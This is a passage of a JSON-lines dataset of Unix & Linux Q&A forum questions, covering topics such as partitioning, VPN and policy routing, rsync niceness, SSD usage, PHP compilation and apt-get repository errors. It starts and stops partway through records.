/dev/sdb1 * 63 223629311 111814624+ 7 HPFS/NTFS/exFAT /dev/sdb2 225724416 336437306 55356445+ 7 HPFS/NTFS/exFAT /dev/sdb3 223629312 225724415 1047552 82 Linux swap / Solaris /dev/sdb4 336439294 390721535 27141121 5 Extended /dev/sdb5 336439296 338391039 975872 83 Linux (here is boot) /dev/sdb6 338393088 339390463 498688 82 Linux swap / Solaris /dev/sdb7 339392512 368687103 14647296 83 Linux (here is Debian) /dev/sdb8 368689152 390721535 11016192 83 Linux Ubuntu's and Debian fstab are the very same, except for the `/` entry. sudo os-prober [sudo] password for braiam: /dev/sda1:Ubuntu 13.04 (13.04):Ubuntu:linux /dev/sdb1:Windows 7 (loader):Windows:chain `cat /boot/grub/device.map`: cat /boot/grub/device.map (hd0) /dev/disk/by-id/ata-Maxtor_6L200M0_L40WL3VH (hd1) /dev/disk/by-id/usb-Sandisk-Curzer (I'm taking this info from my mind since I ran `sudo grub-mkdevicemap` which changed the entries)"} {"_id": "29048", "title": "How to find the htpasswd file created for SVN over Apache?", "text": "I setup subversion with remote access over apache. I created an `htpasswd` file for it, but now I've forgotten the filename and path. How can I find it?"} {"_id": "29049", "title": "How to create a custom dynamic DNS solution?", "text": "You all probably know commercial dynamic DNS providers like dyndns.org or no- ip.com. But how to create a similar service for just a handful of machines? What server software would be best suited for such a setup (under Linux)? Advantages: * the service would be under your control * no tracking by some opaque company Minimal requirements: Probably something like: you own at least one host machine with a static IP, a domain and your domain provider let you configure DNS records. Clients: A few machines that are connected via cable/DSL and only get dynamic IP addresses on each dial-up and/or every x hours."} {"_id": "29047", "title": "Can't access internet after connecting to L2TP IPsec VPN", "text": "I have configured a L2TP VPN on Ubuntu server 11.04, and I can connect to it with a Mac client. But after connecting successfully to this L2TP VPN, my Mac cannot access the internet. To access the internet, I have to disconnect from the VPN. My local IP address on Mac is 192.168.1.105, after connecting to VPN, I use this IP: 10.1.2.2. How can I fix this?"} {"_id": "29041", "title": "How to find every symbolic link on a server?", "text": "I need to find every symbolic link on the server. The version is `AIX 6.1`. `man find` says -L Follow symbolic links But `find -L` is not a proper usage. `Usage: find [-H | -L] Path-list [Expression-list]` I tried to Google this but couldn't find answers."} {"_id": "29043", "title": "Regaining usage of volume control media keys after removing pulseaudio", "text": "I am running a GNOME 3 fallback desktop in Debian testing, and I removed some `pulseaudio` packages, for I don't need the advanced functionality. That resulted in my multimedia keys that control speaker volume to work no more. This forces me to use a mouse on the classic volume control applet to control the volume, which isn't always convenient. Here's what I get: $ acpi_listen button/volumedown VOLDN 00000080 00000000 K button/volumeup VOLUP 00000080 00000000 K **note** : the other Fn keys (brightness, suspend, ...) work okay"} {"_id": "123734", "title": "How to do alphanumeric validation for a particular column (say $2) of a file using awk?", "text": "How do I perform alphanumeric validation for a particular column (say `$2`) of a file using awk? For example I've tried: awk -F, '{if ($10==(/[0-9a-zA-Z]/)) count+=1;} END {print count}' final.csv I don't get any errors or a result."} {"_id": "30910", "title": "How to install LibreOffice on Scientific Linux 6.1?", "text": "How can I install (from a repository?*) a fresh but still stable version of LibreOffice under Scientific Linux 6.1 64bit? * = this means I need updates too, so if there will be a newer stable version of LibreOffice, then I it should update it self (of course with the package manager set to auto update). Because if I just install a .rpm file then it wouldn't be updated if there are newer releases.."} {"_id": "115187", "title": "Default preference of executable over built-ins with the same name", "text": "I was playing around a bit with the names of some executables, putting them in a folder, `~/bin`, which is in my `$PATH`. Now I'm wondering how I can set the preferences of a `bash-3.2` terminal so that it picks up these executables instead of the builtins or aliases to execute. For example, if I put a script named `cd` in a directory in `$PATH`, the builtin for `cd` is still executed. However, if I create an `alias` for `cd`, then this alias will be executed, overriding the builtin. $ type cd cd is a shell builtin ### My questions 1. Is there a way to make an executable file in `$PATH` have, by default, preference over a shell builtin, by executing only, e.g. `cd` without having to resort to using the commands `builtin` or `command`? 2. I'm also interested in any official reference which discusses this preference (not the reasoning, that I do understand). **Note:** This question is purely for personal educational purposes, I am wondering why it works the way it works."} {"_id": "30913", "title": "Unable to use scp on Solaris", "text": "I'm trying to use `scp` from one Solaris machine to another, but I get this message and the copy fails: root@ark123 # scp -r emcgrab_SunOS_v4.4.4a.tar 192.163.119.21:/tmp Password: Sourcing /root/.profile-EIS..... root@ark123 What does this mean? How do I fix it so `scp` will work?"} {"_id": "30915", "title": "Setting nice and ionice for rsync via xinetd", "text": "I am attempting to set nice and ionice for rsync via xinetd. I am running Fedora 16. The reason I would like to use these values is to reduce the rsync process to an idle state so other processes run unaffected. I have tried to use `/etc/default/rsync` to set nice and ionice values, but it looks like these are not working for me. The rsync process is always started with a nice value of 0, even when I set it to 19. Do these settings work in xinetd? Is there another way to nice rsync via xinetd? Here are my config files: /etc/rsync.conf: log file = /var/log/rsyncd.log pid file = /var/run/rsyncd.pid lock file = /var/run/rsync.lock [share] /etc/xinetd.d/rsync: service rsync { disable = no flags = IPv6 socket_type = stream wait = no user = root server = /usr/bin/rsync server_args = --daemon log_on_failure += USERID } /etc/default/rsync: RSYNC_ENABLE=inetd RSYNC_OPTS='' RSYNC_NICE='19' RSYNC_IONICE='-c3'"} {"_id": "30917", "title": "How to install drivers on Linux", "text": "How can I install a driver on any Linux? I have XG-762 Sagem adapter on USB with the ZyDAS 1211B chipset, and I don't have drivers for it. What should I do? PS: Despite it should be in my file system. It isn't..."} {"_id": "115188", "title": "Ubuntu - USB device not discovered after system restart", "text": "I have an USB device that after pluging in is visible as /dev/ttyACM0. Unfortunately, after system restart, it is not beeing discovered and I have to plug it out and in again to work. I have found a piece of code: http://www.clearchain.com/blog/posts/resetting-the-usb-bus-under-linux but it's result is similar to the system restart. If device is present and working, program sees it, claims that it is beeing reset and then device dissapear from /dev. Otherwise nothing is happenig. My question is: How to force the system to discover my device without pluging it of and on again? I'm Using Ubuntu Server 12.04.2 LTS. I will appreciate any tips."} {"_id": "123731", "title": "Best parameters for ext4 filesystem to handle virtualbox disk images", "text": "I have ext4 partition, which holds disk image files VirtualBox works with. They all are fixed-size images (i.e. files never change their size). They are defragmented as much as possible (with e4defrag). I assume that a lot of filesystem features are redundant in this case. I.e. as files are never created, never deleted, never change their size, only reading and \"in-place\" writing happens, and file contents are aligned on the hard- drive continuously, thus much simpler filesystem could be used in this case (no need for file attributes, directories, journal, etc). Theoretically, I could even use logical volumes instead of files in this case (I am just not sure that I want). So, questions: 1. How to tune ext4 filesystem, to get best performance in this case? 2. May be another filesystem is more suitable? (Some filesystem that don't support directories, and only continuous fixed-size files?) Or may be Linux has a possibility to mount _part_ of existing partition as a file? I.e. that I create unformatted partition /dev/sda2 and then * mount K-th to L-th bytes of it as /somepath1/somefile1.vdi, * mount M-th to N-th bytes of it as /somepath2/file2.vdi, * and so on."} {"_id": "80864", "title": "What NOT to put on an SSD?", "text": "I bought an SSD and I am going to set up my desktop system with a completely fresh Linux installation. SSDs are known to be fast, but they have a disadvantage: The number of writes (per block?) is limited. So I am thinking about which data should be located at the SSD and which at the HDD drive. Generally I thought that data that changes frequently should be placed on the HDD and data that doesn't change frequently can be put on the SSD. * Now I read this question, with a similar scenario. In the answers there is written: \"SSD drives are ideally suited for swap space...\" Why are SSDs ideally suited for swap space? OK, I see high potential for raising the system's performance, but doesn't swap data change frequently and hence there would be many writes on the SSD resulting in a short SSD lifetime? * And what about the /var directory? Doesn't its contents change frequently, too? Wouldn't it be a good idea to put it on the HDD? * Is there any other data that should not be located on an SSD?"} {"_id": "131015", "title": "how to Connect to Mysql only once?", "text": "I have created a shell script to connect to a DB and INSERT IPs and MACs from dhcpd.log file the scripts worked properly: #/!bin/bash #Defining Variables dhcpLogFile=\"/var/log/dhcpd.log\" #Begin Code # extrcting the Information of IPs and MACs from log file # and eleminating the duplicate Entry NumberOfLines=$(awk '/DHCPACK/ { print $8} ' $dhcpLogFile | awk '!x[$0]++'|awk 'BEGIN{i=0}{i++;}END{print i}') j=1 while [ $NumberOfLines -gt 0 ] do ip=$(awk '/DHCPACK/ { print $8} ' $dhcpLogFile | awk '!x[$0]++' |cut -f$j -d$'\\n') mac=$(awk '/DHCPACK/ { print $10} ' $dhcpLogFile | awk '!x[$0]++' |cut -f$j -d$'\\n') echo $ip echo $mac let \"j +=1\" let \"NumberOfLines -=1\" mysql -u root --password='pw' MatchingDB <<- _END_ INSERT INTO IP_MACTable (IP_Address, MAC) VALUES ('$ip','$mac'); _END_ done The code is correct but as you can see it connects to the DB every insert query inside the while, my question is how can I connect to the DB only once then do multiple queries then exit without connecting to it every insertion operation"} {"_id": "86297", "title": "What can go wrong if /var/tmp is on a temporary filesystem?", "text": "I have read that I should not mount /var/tmp as a temporary filesystem (e.g., as tmpfs), because files in /var/tmp must not be deleted on reboot. Is that correct? Suppose I did mount /var/tmp as a tmpfs, so its contents are deleted on every reboot. Would that be bad? If yes, what could go wrong? How bad would it be?"} {"_id": "105921", "title": "Use a custom colourscheme in Vim", "text": "I have customized a color profile for Vim (toto.vim) in the colors folder at : `/usr/share/vim/vim74/colors` Now, to use it, I am obliged to call it each time I start vim, using the command : :colorscheme toto Is there any way to load it by default instead of the default color scheme?"} {"_id": "34756", "title": "How does one properly use the nautilus & command in a graphical SSH into debian 6.0.4?", "text": "Last login: Wed Mar 21 20:10:33 2012 from astrolab17.astro.washington.edu 1 td% nautilus & [1] 9847 2 td% Initializing nautilus-gdu extension And then I quit nautilus. The thing is, though, that putting the & operator at the end of nautilus, I'm supposed to be able to enter new commands after I close (or 'X' out of) the nautilus window. This happens with most other programs like Matlab. Except that this doesn't happen with Debian. The distribution involved is Debian 6.0.4."} {"_id": "105927", "title": "compiling PHP fails cause of libpcre", "text": "I'm trying to compile PHP myself as I want to use PHPBrew to switch between multiple versions of PHP. I already solved a ton of problems in the process, but with this particular one I can't get any further. I'm getting this error message in the `make` process: /usr/bin/ld: /usr/libpcre.a(pcre_exec.o): relocation R_X86_64_32S against `_pcre_ucd_stage1' can not be used when making a shared object; recompile with -fPIC /usr/libpcre.a: error adding symbols: Bad value collect2: error: ld returned 1 exit status make: *** [libphp5.5.5.la] Fehler 1 Error I needed to add a symlink from `/usr/libpcre.a -> /usr/lib/x86_64-linux- gnu/libpcre.a` before, as otherwise he would complain about not beeing able to find `libpcre.a`. I also tried to add `\"EXTRACFLAGS=-fPIC\"` to `make`, but it wouldn't change anything. It's the first time I'm compiling something, so I'm not even sure if I get the basics right. This is under Ubuntu 13.10 (not seeing the same problems on 12.04). This is my PHPBrew command: phpbrew install 5.5.5 +default+mysql+pdo+apxs2 Wich results in the following configure options being generated: > ./configure '--prefix=/home/malte/.phpbrew/php/php-5.5.5' '--with-config- > file-path=/home/malte/.phpbrew/php/php-5.5.5/etc' '--with-config-file-scan- > dir=/home/malte/.phpbrew/php/php-5.5.5/var/db' '--with- > pear=/home/malte/.phpbrew/php/php-5.5.5/lib/php' '--disable-all' '--enable- > phar' '--enable-session' '--enable-short-tags' '--enable-tokenizer' '--with- > pcre-regex' '--with-zlib=/usr' '--with-libdir=lib/i386-linux-gnu' '--with- > mysql=mysqlnd' '--with-mysqli=mysqlnd' '--with-pdo-mysql=mysqlnd' '--enable- > pdo' '--with-apxs2=/usr/bin/apxs2' '--enable-dom' '--enable-libxml' '-- > enable-simplexml' '--enable-xml' '--enable-xmlreader' '--enable-xmlwriter' ' > --with-xsl' '--with-libxml-dir=/usr' '--enable-bcmath' '--with-bz2=/usr' '-- > enable-calendar' '--enable-cli' '--enable-ctype' '--enable-dom' '--enable- > fileinfo' '--enable-filter' '--enable-shmop' '--enable-sysvsem' '--enable- > sysvshm' '--enable-sysvmsg' '--enable-json' '--enable-mbregex' '--enable- > mbstring' '--with-mhash' '--with-mcrypt=/usr' '--enable-pcntl' '--with-pcre- > regex=/usr' '--with-pcre-dir=/usr' '--enable-phar' '--enable-posix' '--with- > readline=/usr' '--enable-sockets' '--enable-tokenizer' '--enable-zip' 2>&1 > > /home/malte/.phpbrew/build/php-5.5.5/build.log I think I have all relevant packages installed: dpkg --get-selections | grep pcre libpcre++0:amd64 install libpcre3:amd64 install libpcre3:i386 install libpcre3-dev:amd64 install libpcrecpp0:amd64 install Any help is really appreciated!"} {"_id": "34757", "title": "Qemu terminating on signal x from pid xxxx", "text": "I've been all over google and back and I cannot locate any information on this particular error. **qemu: terminating on signal 15 from pid 3111** I'm using Virtualizor to launch new **KVM** VPS on my machines. I am getting this error in my vps startup logs that's preventing the system from working. 2012-01-05 18:38:14.927: starting up LC_ALL=C PATH=/sbin:/usr/sbin:/bin:/usr/bin QEMU_AUDIO_DRV=none /usr/libexec/qemu-kvm -S -M rhel6.2.0 -enable-kvm -m 1024 -smp 4,sockets=4,cores=1,threa ds=1 -name 1001 -uuid 81658116-8f37-4939-829a-c679c3576b00 -nodefconfig -nodefaults -chardev socket,id=charmonitor,path=/var/lib/libvirt/qemu/1001.monit or,server,nowait -mon chardev=charmonitor,id=monitor,mode=control -rtc base=utc -no-shutdown -drive file=/dev/vg_hv2/vs1001,if=none,id=drive-ide0-0-0,fo rmat=raw,cache=none -device ide-drive,bus=ide.0,unit=0,drive=drive-ide0-0-0,id=ide0-0-0,bootindex=1 -netdev tap,fd=23,id=hostnet0 -device rtl8139,netdev =hostnet0,id=net0,mac=00:16:3e:46:da:e1,bus=pci.0,addr=0x3 -chardev pty,id=charserial0 -device isa-serial,chardev=charserial0,id=serial0 -usb -vnc 198.1 45.30.132:1,password -k en-us -vga cirrus -device virtio-balloon-pci,id=balloon0,bus=pci.0,addr=0x4 char device redirected to /dev/pts/0 qemu: terminating on signal 15 from pid 3111 2012-01-06 04:06:20.875: shutting down 2012-01-06 05:07:21.782: starting up This is an example of my startup logs for the vps that I just tried to create. Notice the qemu terminating error, then the system restarts and tries this same sequence three more times until finally failing."} {"_id": "154010", "title": "recover lvm after loosing partition table", "text": "On one of my hard drives had a few physical volumes/partitions and lvm on them. And then I lost partition table. I still have files from /etc/lvm/* how can I recover my data?"} {"_id": "31066", "title": "How can I add invisible watermark to images on commandline?", "text": "Similar question here but for Tex -document. Imagemagick shows ways of watermarking here but not how to do it as invisible as possible. I currently just obfuscate some functional elements into photos so extremely hard to remove, without distorting the image itself. Is there some commandline tool to add invisible watermark to images, something like to check with microscope perhaps but still readable? I have a massive tree of images (of very different variety so watermark should adopt to env etc) -- some commandline tool to add watermarks fast invisibly on every photo?"} {"_id": "31063", "title": "Is there a file search engine like \"Everything\" in Linux?", "text": "On Windows there a nice file search engine called Everything, which is (unlike `find`) very fast and (unlike `locate`) always returns up to date results. AFAIK it works by filling a database from the NTFS journal (it doesn't work with other filesystems). I wonder if there's something similar (I don't care about the GUI; my point is the speed and the up-to-date guarantee) for Linux (ext3 or ext4); I have googled but found nothing. Can something like this be done or is even somebody working on it?"} {"_id": "153044", "title": "remove Cinnamon Desktop replace with MATE", "text": "I'm guessing this is something simple I'm missing because nobody else seems to have this problem I just installed fedora 20 which installs cinnamon desktop (I believe) and want to use MATE because that's what I'm familiar - this installed OK But how do I uninstall cinnamon? When I do yum groupremove \"Cinnamon Desktop\" I get \"No environment named Cinnamon Desktop\" exists"} {"_id": "72570", "title": "zsh: Is it worth the switch from bash? Is it the time?", "text": "I have been a **bash** user for years now. However, I find that **zsh** is increasingly gaining momentum. I came up with the following questions: 1. Is **zsh** really becoming that popular? Will it compete with **bash** on becoming the standard shell sometime? 2. Is it time to start writing **zsh** scripts instead of **bash** ones? 3. Is it really worth to switch from **bash** to **zsh**? 4. What is the best tutorial/starter guide to consult for **zsh**?"} {"_id": "72571", "title": "Guake is not opening", "text": "Whenever I try to open guake it shows the following error Traceback (most recent call last): File \"/usr/bin/guake\", line 24, in import pygtk ImportError: No module named pygtk How to remove this error and make guake run properly ?"} {"_id": "91834", "title": "How do I set key binding for set mark in emacs?", "text": "_I'm new to emacs and newer to lisp_ I'm trying to set Meta + spacebar to set the mark for highlighting text (at current cursor position). searching around online and experimenting I've ended up with the command `(global-set-key (kbd \"M-SPC\") 'push-mark nil nil 1)` The above command isn't working for me though, I'm getting an \"incorrect number of arguments error\". Got the function definition, push-mark &optional; position nomsg activate from elisp manual here **Position:** nil for position should default to current cursor position **nomsg:** I don't care about (I think) **activate:** apparently isn't true by default so I need to set it to...something. How would I format the command to pass in three values? _The error is definitely due to the push-mark function call as other functions such as backward-char (which I'm not passing inputs to) work correctly_"} {"_id": "8707", "title": "What's the difference between SFTP, SCP and FISH protocols?", "text": "I used to think SCP is a tool to copy files over SSH, and copying files over SSH is called SFTP, which is itself a synonym to FISH. But now as I was looking for a Total Commander plugin to do this in Windows, I've noticed that on its page it says \"Allows access to remote servers via secure FTP (FTP via SSH). Requires SSH2. This is NOT the same as SCP!\". If it's not the same then what am I misunderstanding?"} {"_id": "55098", "title": "policy routing problem with load balanced ppp connections", "text": "This my setup using **Debian 6.0.6**. It's role is a proxy server and a load balancer using eight 3G modems. First and foremost: Whenever a ppp connection dials it takes over the default gateway which is ok but it also cuts me out.The reason it's ok is that in Ubuntu I noticed that it does not do that by default. By default it will leave the ethX gateway untouched.I could have added in the ppp options file `replacedefaultroute` but problems with iptables in Ubuntu made me switch to Debian. But now I cannot ping other hosts on the LAN but other hosts can ping me. I also lose connectivity from the outside and the only way I can get access is through another computer from inside the LAN.Also all the hosts in the LAN can use the proxy. What I found out is that if I add a separate routing table called **e1** and copy 192.168.2.0/24 dev eth0 proto kernel scope link src 192.168.2.126 default via 192.168.2.3 dev eth0 from the main table into table e1 and then do: ip rule add table e1 it works, but this is not what I want since all the connections now flow through the eth0 interface. What can I try to restore the connections comming from outside, and to communicate with the local computers. However all traffic comming from the LAN must still be made through the ppp links. root@proxy:~# iptables -L OUTPUT -t mangle -v Chain OUTPUT (policy ACCEPT 433K packets, 217M bytes) pkts bytes target prot opt in out source destination 433K 217M CONNMARK all -- any any anywhere anywhere CONNMARK restore 929 61011 MARK all -- any any anywhere anywhere state NEW statistic mode nth every 8 MARK set 0x1 929 61721 MARK all -- any any anywhere anywhere state NEW statistic mode nth every 8 packet 1 MARK set 0x2 929 61461 MARK all -- any any anywhere anywhere state NEW statistic mode nth every 8 packet 2 MARK set 0x3 929 61438 MARK all -- any any anywhere anywhere state NEW statistic mode nth every 8 packet 3 MARK set 0x4 929 61530 MARK all -- any any anywhere anywhere state NEW statistic mode nth every 8 packet 4 MARK set 0x5 929 61022 MARK all -- any any anywhere anywhere state NEW statistic mode nth every 8 packet 5 MARK set 0x6 929 61738 MARK all -- any any anywhere anywhere state NEW statistic mode nth every 8 packet 6 MARK set 0x7 928 61224 MARK all -- any any anywhere anywhere state NEW statistic mode nth every 8 packet 7 MARK set 0x8 433K 217M CONNMARK all -- any any anywhere anywhere CONNMARK save root@proxy:~# iptables -L POSTROUTING -t nat -v Chain POSTROUTING (policy ACCEPT 285 packets, 18881 bytes) pkts bytes target prot opt in out source destination 743 49005 MASQUERADE all -- any ppp0 anywhere anywhere 705 47291 MASQUERADE all -- any ppp1 anywhere anywhere 679 45581 MASQUERADE all -- any ppp2 anywhere anywhere 679 45598 MASQUERADE all -- any ppp3 anywhere anywhere 670 45177 MASQUERADE all -- any ppp4 anywhere anywhere 638 42447 MASQUERADE all -- any ppp5 anywhere anywhere 724 48671 MASQUERADE all -- any ppp6 anywhere anywhere 679 45182 MASQUERADE all -- any ppp7 anywhere anywhere root@proxy:~# root@proxy:~# ip rule 0: from all lookup local 32758: from all fwmark 0x8 lookup d8 32759: from all fwmark 0x7 lookup d7 32760: from all fwmark 0x6 lookup d6 32761: from all fwmark 0x5 lookup d5 32762: from all fwmark 0x4 lookup d4 32763: from all fwmark 0x3 lookup d3 32764: from all fwmark 0x2 lookup d2 32765: from all fwmark 0x1 lookup d1 32766: from all lookup main 32767: from all lookup default root@proxy:~# ip ro sh t d1 default via 10.64.64.64 dev ppp0 root@proxy:~# ip ro sh t d2 default via 10.64.64.65 dev ppp1 root@proxy:~# ip ro sh t d3 default via 10.64.64.66 dev ppp2 root@proxy:~# ip ro sh t d4 default via 10.64.64.67 dev ppp3 root@proxy:~# ip ro sh t d5 default via 10.64.64.68 dev ppp4 root@proxy:~# ip ro sh t d6 default via 10.64.64.69 dev ppp5 root@proxy:~# ip ro sh t d7 default via 10.64.64.70 dev ppp6 root@proxy:~# ip ro sh t d8 default via 10.64.64.71 dev ppp7 root@proxy:~# ip ro 10.64.64.67 dev ppp3 proto kernel scope link src 10.90.33.221 10.64.64.66 dev ppp2 proto kernel scope link src 10.18.11.90 10.64.64.65 dev ppp1 proto kernel scope link src 10.90.14.235 10.64.64.64 dev ppp0 proto kernel scope link src 10.18.27.226 10.64.64.71 dev ppp7 proto kernel scope link src 172.22.201.81 10.64.64.70 dev ppp6 proto kernel scope link src 10.80.131.6 10.64.64.69 dev ppp5 proto kernel scope link src 172.20.17.183 10.64.64.68 dev ppp4 proto kernel scope link src 10.80.61.34 192.168.2.0/24 dev eth0 proto kernel scope link src 192.168.2.126 default via 192.168.2.3 dev eth0 root@proxy:~# If you can give me some ideas I would appreciate it. Thanks!."} {"_id": "72575", "title": "Viewing shared segments created by shmget", "text": "I'm trying to \"visualize\" shared memory between two processes. I've created a little server-client example where the client writes some data to a shared memory location and the server reads from it. I'm using the usual code for this: (shmid = shmget(key, SHMSZ, IPC_CREAT | 0666)) < 0 Now, I need to know that while the server and client are running, how do I actually see in some memory map or something that both have the same memory shared between them i.e. is there something in `/proc//` file that I can read and interpret? I tried reading from `smaps` but that doesn't really look like what I need."} {"_id": "72576", "title": "Acpid and Startup Brightness", "text": "On Arch Linux on my laptop, I have acpid control the brightness level based on AC plug events. Plugging in gives me max brightness and running on battery sets it at the minimum. My problem is that when I start the laptop, the brightness is always at the highest. That is, there isn't anything to trigger the brightness change, so it runs with the highest brightness. How can I make it so that the brightness will set correctly on startup? I was thinking of creating a systemd service as a potential solution, but I have never written one before and I wanted to hold out for any alternative (potentially better) methods before I start. UPDATE: I ended up using a udev rule, I was unaware of its ability to control things like brightness. I still have to keep acpid, however, since udev is apparently unable to pick up my laptop close event. Anyway, here is the link to the rule I found: https://github.com/Unia/powersave/blob/master/rules/50-powersave.rules"} {"_id": "72577", "title": "Update not working properly", "text": "Whenever I write sudo apt-get update it does not work properly and shows following : tusharmakkar08@tusharmakkar08-Satellite-C660 ~ $ sudo apt-get update Ign http://archive.ubuntu.com nadia Release.gpg Ign http://packages.medibuntu.org nadia Release.gpg Ign http://archive.canonical.com nadia Release.gpg Get:1 http://packages.linuxmint.com nadia Release.gpg [197 B] Ign http://security.ubuntu.com nadia-security Release.gpg Hit http://dl.google.com stable Release.gpg Hit http://ppa.launchpad.net quantal Release.gpg Ign http://archive.ubuntu.com nadia-updates Release.gpg Hit http://archive.canonical.com quantal Release.gpg Get:2 http://packages.linuxmint.com nadia Release [17.6 kB] Get:3 http://security.ubuntu.com quantal-security Release.gpg [933 B] Hit http://dl.google.com stable Release.gpg Hit http://ppa.launchpad.net quantal Release Hit http://packages.medibuntu.org quantal Release.gpg Hit http://archive.ubuntu.com quantal Release.gpg Ign http://archive.canonical.com nadia Release Ign http://security.ubuntu.com nadia-security Release Hit http://dl.google.com stable Release Hit http://ppa.launchpad.net quantal/main Sources Hit http://archive.canonical.com quantal Release Get:4 http://security.ubuntu.com quantal-security Release [49.6 kB] Hit http://dl.google.com stable Release Get:5 http://archive.ubuntu.com quantal-updates Release.gpg [933 B] Hit http://ppa.launchpad.net quantal/main i386 Packages Ign http://packages.medibuntu.org nadia Release Get:6 http://packages.linuxmint.com nadia/main i386 Packages [22.6 kB] Hit http://dl.google.com stable/main i386 Packages Hit http://packages.medibuntu.org quantal Release Get:7 http://packages.linuxmint.com nadia/upstream i386 Packages [11.3 kB] Hit http://archive.canonical.com quantal/partner i386 Packages Get:8 http://packages.linuxmint.com nadia/import i386 Packages [44.0 kB] Hit http://dl.google.com stable/main i386 Packages Ign http://archive.ubuntu.com nadia Release Ign http://archive.ubuntu.com nadia-updates Release Hit http://archive.ubuntu.com quantal Release Get:9 http://archive.ubuntu.com quantal-updates Release [49.6 kB] Ign http://ppa.launchpad.net quantal/main Translation-en_IN Ign http://ppa.launchpad.net quantal/main Translation-en Get:10 http://security.ubuntu.com quantal-security/main i386 Packages [104 kB] Hit http://packages.medibuntu.org quantal/free i386 Packages Hit http://packages.medibuntu.org quantal/non-free i386 Packages Ign http://dl.google.com stable/main Translation-en_IN Err http://archive.canonical.com nadia/partner i386 Packages 404 Not Found [IP: 91.189.92.191 80] Ign http://dl.google.com stable/main Translation-en Ign http://archive.canonical.com nadia/partner Translation-en_IN Ign http://dl.google.com stable/main Translation-en_IN Ign http://archive.canonical.com nadia/partner Translation-en Ign http://dl.google.com stable/main Translation-en Ign http://archive.canonical.com quantal/partner Translation-en_IN Get:11 http://security.ubuntu.com quantal-security/restricted i386 Packages [3,531 B] Ign http://archive.canonical.com quantal/partner Translation-en Get:12 http://security.ubuntu.com quantal-security/universe i386 Packages [45.8 kB] Get:13 http://security.ubuntu.com quantal-security/multiverse i386 Packages [1,402 B] Hit http://security.ubuntu.com quantal-security/main Translation-en Hit http://security.ubuntu.com quantal-security/multiverse Translation-en Hit http://archive.ubuntu.com quantal/main i386 Packages Ign http://packages.linuxmint.com nadia/import Translation-en_IN Hit http://archive.ubuntu.com quantal/restricted i386 Packages Hit http://security.ubuntu.com quantal-security/restricted Translation-en Hit http://archive.ubuntu.com quantal/universe i386 Packages Hit http://archive.ubuntu.com quantal/multiverse i386 Packages Ign http://packages.linuxmint.com nadia/import Translation-en Hit http://security.ubuntu.com quantal-security/universe Translation-en Ign http://packages.linuxmint.com nadia/main Translation-en_IN Hit http://archive.ubuntu.com quantal/main Translation-en Ign http://packages.linuxmint.com nadia/main Translation-en Ign http://packages.linuxmint.com nadia/upstream Translation-en_IN Hit http://archive.ubuntu.com quantal/multiverse Translation-en Ign http://packages.linuxmint.com nadia/upstream Translation-en Hit http://archive.ubuntu.com quantal/restricted Translation-en Hit http://archive.ubuntu.com quantal/universe Translation-en Get:14 http://archive.ubuntu.com quantal-updates/main i386 Packages [225 kB] Get:15 http://archive.ubuntu.com quantal-updates/restricted i386 Packages [4,841 B] Get:16 http://archive.ubuntu.com quantal-updates/universe i386 Packages [179 kB] Get:17 http://archive.ubuntu.com quantal-updates/multiverse i386 Packages [10.8 kB] Hit http://archive.ubuntu.com quantal-updates/main Translation-en Hit http://archive.ubuntu.com quantal-updates/multiverse Translation-en Hit http://archive.ubuntu.com quantal-updates/restricted Translation-en Hit http://archive.ubuntu.com quantal-updates/universe Translation-en Err http://packages.medibuntu.org nadia/free i386 Packages 404 Not Found Err http://packages.medibuntu.org nadia/non-free i386 Packages 404 Not Found Err http://security.ubuntu.com nadia-security/main i386 Packages 404 Not Found [IP: 91.189.92.200 80] Ign http://packages.medibuntu.org nadia/free Translation-en_IN Err http://security.ubuntu.com nadia-security/restricted i386 Packages 404 Not Found [IP: 91.189.92.200 80] Err http://security.ubuntu.com nadia-security/universe i386 Packages 404 Not Found [IP: 91.189.92.200 80] Ign http://packages.medibuntu.org nadia/free Translation-en Err http://security.ubuntu.com nadia-security/multiverse i386 Packages 404 Not Found [IP: 91.189.92.200 80] Ign http://security.ubuntu.com nadia-security/main Translation-en_IN Ign http://packages.medibuntu.org nadia/non-free Translation-en_IN Ign http://security.ubuntu.com nadia-security/main Translation-en Ign http://security.ubuntu.com nadia-security/multiverse Translation-en_IN Ign http://packages.medibuntu.org nadia/non-free Translation-en Ign http://security.ubuntu.com nadia-security/multiverse Translation-en Ign http://security.ubuntu.com nadia-security/restricted Translation-en_IN Ign http://packages.medibuntu.org quantal/free Translation-en_IN Ign http://security.ubuntu.com nadia-security/restricted Translation-en Ign http://security.ubuntu.com nadia-security/universe Translation-en_IN Ign http://security.ubuntu.com nadia-security/universe Translation-en Ign http://security.ubuntu.com quantal-security/main Translation-en_IN Ign http://security.ubuntu.com quantal-security/multiverse Translation-en_IN Ign http://security.ubuntu.com quantal-security/restricted Translation-en_IN Ign http://security.ubuntu.com quantal-security/universe Translation-en_IN Ign http://packages.medibuntu.org quantal/free Translation-en Ign http://packages.medibuntu.org quantal/non-free Translation-en_IN Ign http://packages.medibuntu.org quantal/non-free Translation-en Err http://archive.ubuntu.com nadia/main i386 Packages 404 Not Found [IP: 91.189.92.202 80] Err http://archive.ubuntu.com nadia/restricted i386 Packages 404 Not Found [IP: 91.189.92.202 80] Err http://archive.ubuntu.com nadia/universe i386 Packages 404 Not Found [IP: 91.189.92.202 80] Err http://archive.ubuntu.com nadia/multiverse i386 Packages 404 Not Found [IP: 91.189.92.202 80] Ign http://archive.ubuntu.com nadia/main Translation-en_IN Ign http://archive.ubuntu.com nadia/main Translation-en Ign http://archive.ubuntu.com nadia/multiverse Translation-en_IN Ign http://archive.ubuntu.com nadia/multiverse Translation-en Ign http://archive.ubuntu.com nadia/restricted Translation-en_IN Ign http://archive.ubuntu.com nadia/restricted Translation-en Ign http://archive.ubuntu.com nadia/universe Translation-en_IN Ign http://archive.ubuntu.com nadia/universe Translation-en Err http://archive.ubuntu.com nadia-updates/main i386 Packages 404 Not Found [IP: 91.189.92.202 80] Err http://archive.ubuntu.com nadia-updates/restricted i386 Packages 404 Not Found [IP: 91.189.92.202 80] Err http://archive.ubuntu.com nadia-updates/universe i386 Packages 404 Not Found [IP: 91.189.92.202 80] Err http://archive.ubuntu.com nadia-updates/multiverse i386 Packages 404 Not Found [IP: 91.189.92.202 80] Ign http://archive.ubuntu.com nadia-updates/main Translation-en_IN Ign http://archive.ubuntu.com nadia-updates/main Translation-en Ign http://archive.ubuntu.com nadia-updates/multiverse Translation-en_IN Ign http://archive.ubuntu.com nadia-updates/multiverse Translation-en Ign http://archive.ubuntu.com nadia-updates/restricted Translation-en_IN Ign http://archive.ubuntu.com nadia-updates/restricted Translation-en Ign 